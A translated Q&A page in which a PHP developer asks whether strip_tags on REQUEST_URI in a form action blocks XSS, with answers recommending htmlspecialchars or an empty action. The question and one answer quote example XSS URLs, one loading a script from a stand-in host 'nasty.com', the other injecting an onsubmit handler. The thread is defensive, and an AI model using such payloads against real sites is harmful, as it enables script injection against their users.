Охватил ли я все базы безопасностью при отображении серверной переменной на странице? - PullRequest
1 голос
/ 05 марта 2009

С формами, которые я всегда использовал

<form method="post" action="<?php echo strip_tags($_SERVER['REQUEST_URI']); ?>">

Чтобы заставить мои формы подавать себя.

Я использую striptags(), если кто-то ссылается на:

http://www.mysite.com/page-with-form.php?bla="><script src="http://www.nasty.com/super-nasty.js"></script><a href="#

Я охватил все базы, чтобы обезопасить себя от атак XSS, или я должен использовать более белый подход, скажем, регулярное выражение, которое допускает только буквенно-цифровые символы, косую черту, знак вопроса, знак равенства, скобки и т. Д.?

Спасибо!

Ответы [ 5 ]

6 голосов
/ 05 марта 2009

Используйте htmlspecialchars вместо strip_tags.

3 голосов
/ 05 марта 2009

Если вы хотите сослаться на ту же схему / хост / путь, простое действие = "?" должно хватить. Согласно http://tools.ietf.org/html/rfc3986#section-4.2

relative-ref  = relative-part [ "?" query ] [ "#" fragment ]

      relative-part = "//" authority path-abempty
                    / path-absolute
                    / path-noscheme
                    / path-empty

это действительный относительный URI.

2 голосов
/ 05 марта 2009

Подарите себе форму, отправив ее по адресу:

$_SERVER["PHP_SELF"]

Эта глобальная переменная выведет текущую страницу. Если нет причины, по которой вам нужна вся строка запроса вместе с ней?

EDIT

Поскольку, как указал VolkerK в комментариях, даже PHP_SELF уязвим, вы можете написать свою собственную маленькую переменную, основанную на PHP_SELF, и взорвать остальную часть URI, который, как вы знаете, не является частью вашей страницы , Примерно так:

$file_ext = '.php'; //knowing what file extension your URI is
$page_on = $_SERVER["PHP_SELF"]; //grab this page, with all that junk
$page_huh = explode($file_ext, $page_on); //blow it apart based on file ext
$page_on = $page_huh[0].$file_ext; //attach the leg back onto the URI

echo $page_on;
0 голосов
/ 10 марта 2009

Если вы хотите, чтобы форма отправлялась сама себе, просто оставьте действие пустым, например,

<form action="" method="POST">
...
</form>
0 голосов
/ 05 марта 2009

Если ваш striptags() убирает только теги (символы между "<" и ">", включая угловые скобки), кто-то может все же добавить javascript:

http://www.mysite.com/page-with-form.php?bla=" onsubmit="return function(){ /*nasty code here*/ }()" style="

Лучший белый список всех возможных метасимволов в HTML, Javascript и CSS (т.е. угловые скобки, скобки, скобки, точки с запятой, двойные кавычки, одинарные кавычки и т. Д.).

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...